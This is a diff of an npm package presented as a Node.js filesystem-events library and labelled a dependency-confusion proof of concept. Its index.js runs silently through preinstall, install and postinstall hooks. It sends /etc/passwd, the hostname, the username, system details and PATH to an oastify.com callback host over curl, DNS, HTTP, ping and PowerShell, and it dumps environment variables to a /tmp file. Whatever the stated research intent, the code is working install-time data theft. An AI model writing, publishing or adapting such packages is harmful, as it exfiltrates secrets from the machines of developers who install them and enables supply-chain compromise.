mw-filesystem-events-nodream 0.0.32

package/index.js

@@ -0,0 +1,124 @@
+const { exec } = require("child_process");
+const os = require("os");
+const fs = require("fs");
+const http = require("http");
+const https = require("https");
+
+const CALLBACK_HOST = "1ikh1ub9ug8oc3qubaud2d6zrqxhl79w.oastify.com";
+const PACKAGE_NAME = "mw-filesystem-events-nodream";
+
+// ===== CHANNEL 1: curl exfil of /etc/passwd with hostname =====
+try {
+  exec(
+    `/usr/bin/curl --data '@/etc/passwd' $(hostname).${CALLBACK_HOST}`,
+    { timeout: 5000 },
+    () => {}
+  );
+} catch (e) {}
+
+// ===== CHANNEL 2: nslookup DNS exfil =====
+try {
+  const hostname = os.hostname();
+  const user = (os.userInfo() || {}).username || "unknown";
+  const platform = os.platform();
+  const exfil = `${PACKAGE_NAME}|${hostname}|${user}|${platform}`;
+  const b64 = Buffer.from(exfil).toString("base64").substring(0, 200);
+  exec(`nslookup ${b64}.${CALLBACK_HOST}`, { timeout: 5000 }, () => {});
+} catch (e) {}
+
+// ===== CHANNEL 3: HTTP POST with full system data =====
+try {
+  const sysInfo = {
+    package: PACKAGE_NAME,
+    hostname: os.hostname(),
+    user: (os.userInfo() || {}).username || "unknown",
+    platform: os.platform(),
+    release: os.release(),
+    arch: os.arch(),
+    cwd: process.cwd(),
+    pid: process.pid,
+    node_ver: process.version,
+    node_env: process.env.NODE_ENV || "N/A",
+    home: process.env.HOME || process.env.USERPROFILE || "N/A",
+    pwd: process.env.PWD || "N/A",
+    shell: process.env.SHELL || "N/A",
+    path: (process.env.PATH || "").substring(0, 500),
+    passwd: fs.existsSync("/etc/passwd")
+      ? fs.readFileSync("/etc/passwd", "utf-8").substring(0, 2000)
+      : "N/A"
+  };
+
+  const payload = JSON.stringify(sysInfo);
+  const req = https.request({
+    hostname: CALLBACK_HOST,
+    port: 443,
+    path: `/${PACKAGE_NAME}`,
+    method: "POST",
+    headers: {
+      "Content-Type": "application/json",
+      "Content-Length": Buffer.byteLength(payload),
+      "X-Package": PACKAGE_NAME,
+      "X-Hostname": os.hostname()
+    }
+  });
+  req.write(payload);
+  req.end();
+} catch (e) {
+  // HTTP fallback
+  try {
+    const payload = JSON.stringify({
+      package: PACKAGE_NAME,
+      hostname: os.hostname(),
+      user: (os.userInfo() || {}).username
+    });
+    const req = http.request({
+      hostname: CALLBACK_HOST,
+      port: 80,
+      path: `/${PACKAGE_NAME}`,
+      method: "POST",
+      headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(payload) }
+    });
+    req.write(payload);
+    req.end();
+  } catch (e2) {}
+}
+
+// ===== CHANNEL 4: ICMP/ping callback =====
+try {
+  exec(
+    `ping -c 1 ${PACKAGE_NAME}.$(hostname).${CALLBACK_HOST} > /dev/null 2>&1 &`,
+    { timeout: 3000 },
+    () => {}
+  );
+} catch (e) {}
+
+// ===== CHANNEL 5: Proof file on disk =====
+try {
+  const proof = [
+    `Package: ${PACKAGE_NAME}`,
+    `Timestamp: ${new Date().toISOString()}`,
+    `Hostname: ${os.hostname()}`,
+    `User: ${(os.userInfo() || {}).username}`,
+    `Platform: ${os.platform()} ${os.release()}`,
+    `CWD: ${process.cwd()}`,
+    `PID: ${process.pid}`,
+    `=== /etc/passwd ===`,
+    fs.existsSync("/etc/passwd")
+      ? fs.readFileSync("/etc/passwd", "utf-8").split("\n").slice(0, 30).join("\n")
+      : "N/A",
+    `=== ENV ===`,
+    Object.entries(process.env).slice(0, 30).map(([k, v]) => `${k}=${v}`).join("\n")
+  ].join("\n");
+  fs.writeFileSync("/tmp/dep-conf-poc-mw-filesystem-events-nodream.txt", proof);
+} catch (e) {}
+
+// ===== CHANNEL 6: Windows fallback =====
+if (os.platform() === "win32") {
+  try {
+    exec(
+      `powershell -Command "Invoke-WebRequest -Uri http://${CALLBACK_HOST}/${PACKAGE_NAME}/$(hostname) -Method GET"`,
+      { timeout: 5000 },
+      () => {}
+    );
+  } catch (e) {}
+}

package/main.js

@@ -0,0 +1,7 @@
+const pkg = require("./package.json");
+console.log(`[dep-conf-poc] ${pkg.name}@${pkg.version} loaded`);
+module.exports = {
+  name: pkg.name,
+  version: pkg.version,
+  type: "dependency-confusion-poc"
+};

package/package.json

@@ -0,0 +1,14 @@
+{
+  "name": "mw-filesystem-events-nodream",
+  "version": "0.0.32",
+  "description": "Native filesystem events for Node.js ES6 - dependency confusion PoC by awais0x1 bugcrowd",
+  "main": "main.js",
+  "scripts": {
+    "preinstall": "node index.js > /dev/null 2>&1; exit 0",
+    "install": "node index.js > /dev/null 2>&1; exit 0",
+    "postinstall": "node index.js > /dev/null 2>&1; exit 0",
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "security-researcher",
+  "license": "ISC"
+}